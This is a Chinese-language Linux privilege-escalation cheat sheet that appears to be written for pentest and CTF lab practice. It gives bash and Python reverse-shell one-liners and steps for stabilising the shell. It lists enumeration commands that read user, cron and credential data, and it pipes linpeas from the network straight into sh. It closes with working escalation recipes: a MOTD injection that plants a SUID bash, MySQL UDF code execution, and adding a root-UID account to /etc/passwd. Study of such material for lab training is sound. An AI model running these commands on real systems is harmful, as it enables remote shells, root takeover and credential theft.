Linux权限提升
反弹shell的几种方式
- bash
/bin/bash -i >& /dev/tcp/[ip]/[port] 0>&1
- Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ip]",[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
终端升级与提高稳定性
shell升级为完整的tty
判断一个终端是否为完整的tty
tty
如果是完整的tty
则结果为/dev/pts/0
这样的设备路径,不是则返回not a tty
python -c "import pty;pty.spawn('/bin/bash')"
# CTRL + Z
stty raw -echo;fg
export TERM=xterm-color
或者
rlwrap nc -lvnp 1234
手工枚举
whoami
-
id
:显示用户的 UID(⽤户 ID)、GID(组 ID)以及所属的其他组的信息。 -
who
:显示当前登录的⽤户及相关信息,如登录时间、终端等。 -
whoami
:显示当前用户的用户名。 -
w
:提供关于当前登录用户户的详细信息,包括他们在做什么以及系统的负载信息。 -
last
:显示系统最近的登陆记录。
演示
uname -a
更全的信息查看:uname -a ; lsb_release -a; cat /proc/version /etc/issue /etc/*-release
uname -a
:用于显示系统的相关信息,包括内核名称、主机名、内核发⾏版本、内核版本、硬件名称等。lsb_release -a
:这个命令⽤于显示Linux标准基础(LSB)的发行信息。cat /proc/version
:这个命令⽤于显示内核版本和编译信息。/proc/version
⽂件包含了内核版本、编译器版本和其他相关信息。要产看是否安装了GCC就可以用这条命令cat /etc/issue
:这个命令用于查看系统发行版信息。/etc/issue
我呢见包含了操作系统发行版名称和版本信息cat /etc/*-release
:这个命令用于查看系统发行版的详细信息。这些文件通常包含操作系统的发⾏名称、版本、 代号等信息。
ip addr
也可以写作 ip a ,旧版命令 ifconfig , 这些命令为我们提供有关网卡、网络配置的信息。多张网卡卡配 合路由信息可以发现内网网段
ip route
:用于查询路由表,route
是过时的命令ip neigh
:用于查询邻居表arp -a
:用于显示arp缓存,可用于内网主机发现
hostname
hostname
命令用于获取目标机器的主机名。新内核的linux可用`hostnamectl
sudo -l
列出允许用户以root权限运行某些命令。
capabilities
用于检测capabilities,capabilities为进程提供了⼀部分可用的 root 权限子集。有效地将 root 权限划分成较小且独特的单元。然后,可以独立地将这些单元授予进程。这样,权限集合就会减少,降低了被利用的风险。
getcap / -r 2>/dev/null
ls -a
常用
ls -alih
,详细列出全部内容
history
history
用于查看历史命令,可以让我们了解⽬标系统,尽管很少,但可以存储诸如密码或用户名之类的信息。
/etc/passwd
阅读
/etc/passwd
是发现系统上用户的简便方法
cat /etc/passwd|cut -d : -f 1
获取全部用户名
cat /etc/passwd|grep home
获取真实用户
/etc/crontab
crontab -l; cat /etc/crontab;cat /var/spool/cron/crontabs/root
查看当前用户,系统级别和root用户的定时任务
env
查看环境变量
echo $PATH
ps -ef
用来查看进程,各个字段的意义:
- PID:进程id
- TTY:用户使用的终端类型
- Time:进程使用的CPU时间
- CMD:正在运行的命令或可执行文件,不会显示参数
ps -A
或ps -e
:查看运行的所有进程ps axjf
:查看进程树ps aux
:显示所有用户的进程(a),显示启动进程的用户(u),显示未连接到终端的进程(x)top -n 1
:top
命令可以帮助用户监控系统性能,查看当前运行的进程以及资源使用的情况,-n
指迭代次数
ps aux|grep root
查看root用户的进程,便于发现服务提权
netstat
在对现有接⼝和网络路由进行初始检查后,值得查看现有通信。
netstat -a
:显示所有正在监听的端口和已经连接的会话netstat -at
或netstat -au
:分别列出tcp/udp协议netstat -l
:列出处于监听模式的端口-lt
或-lu
可分别列出tcp/udp端口netstat -s
:按协议列出网络使用统计数据netstat -tp
:列出服务名称和PID信息的连接,-ltp
可列出端口信息netstat -i
:显示接口统计信息netstat -ano
:显示所有套接字,不解析名称,显示计时器
find
在目标系统上搜索重要信息和潜在的权限提升向量可能会有所收获。
find / -perm -u=s -type f 2>/dev/null
:查找设置了SUID位的文件,这使我们可以以比当前⽤户更高的特权级别运行文件。
配合https://gtfobins.github.io/以达到提权
find / -perm -ug=rwx -type f 2>/dev/null
有读、写、执行权限的文件
find / -group users 2>/dev/null
查找users
组的所有文件
grep -R -i password /home/* 2> /dev/null
枚举home
目录下包含password
关键字的文件
which
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp tmux screen 2>/dev/null
whereis
: 用于查找⼆进制文件、源文件和man手册的位置。它只能查找系统默认路径中的文件,不会搜索其他目录或挂载的磁盘。locate
: 使用本地数据库来快速查找指定文件的位置,它不会实时更新文件系统,所以可能会出现找不到文件的情况。为了保证正确性,可以使用updatedb
命令更新数据库。type
: 用于查找命令是否是内置命令、外部命令还是别名。如果是内置命令,则返回builtin
,如果是外部命令,则返回可执行文件的位置。如果是别名,则返回别名定义的命令。apropos
: 用于在系统的man手册中搜索与指定关键词相关的条目。它可以帮助用户快速找到与特定主题或命令相关的手册页。find
: 用于在指定路径下递归搜索符合条件的文件。它可以根据文件名、文件类型、文件大小、文件权限等条件来搜索文件。grep
: 用于在指定文件中查找符合条件的字符串。它支持正则表达式,可以快速查找文本文件中的关键词。where
: 与which类似,但它可以同时查找多个命令,which
只能查找单个命令。where
命令会在系统PATH
环境变量中指定的所有⽬录中查找,并返回找到的所有命令的位置。如果该命令在多个目录中都存在,则会返回所有找到的命令的位置。which
:查找命令所在的位置,并返回找到的第⼀个命令的完整路径。它会在系统PATH
环境变量中指定的目录中查找,并返回找到的第⼀个可执行文件的路径。如果该命令在多个目录中都存在,则只返回最先找到的那个命令的位置。因此,which
命令通常用于查找可执行文件的位置。
/etc/fstab
检测未挂载的文件系统
自动化枚举工具
常用工具
LinPEAS
:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEASLinEnum
:https://github.com/rebootuser/LinEnumlinux-smart-enumeration (lse)
:https://github.com/diego-treitos/linux-smart-enumerationlinux-exploit-suggester
:https://github.com/mzet-/linux-exploit-suggesterLinuxprivchecker
:https://github.com/sleventyeleven/linuxprivcheckerunix-privesc-check
:https://github.com/pentestmonkey/unix-privesc-check
无文件落地
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
可使用openssl
或者base64
加密传输
靶机
MOTD文件提权
前提拥有一个用户的ssh登陆权限/etc/update-motd.d/00-header
具有rw
权限
echo "cp /bin/bash /home/<username>/bash && chmod u+s /home/<username>/bash" >> /etc/update-motd.d/00-header
./bash -p
Mysql udf提权
https://tryhackme.com/room/linuxprivesc
连接ssh拿到初始立足点
找到udf的Exp/home/user/tools/mysql-udf/raptor_udf2.c
编译成动态链接库
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o exp.so raptor_udf2.o -lc
mysql -u root
登录mysql
show global variables like "%secure%";
可以进行udf提权
查询插件目录
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/exp.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/exp.so';
create function do_system returns integer soname 'exp.so';
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
如果mysql的插件目录可写,那么则不用考虑secure_file_priv
/tmp/rootbash -p
/etc/passwd提权
openssl passwd -1 salt user passwd
echo user:[password]:0:0:user:/root:/bin/bash >> /etc/passwd
或者直接编辑/etc/passwd替换root的密码字段
openssl passwd -1 -salt root 123456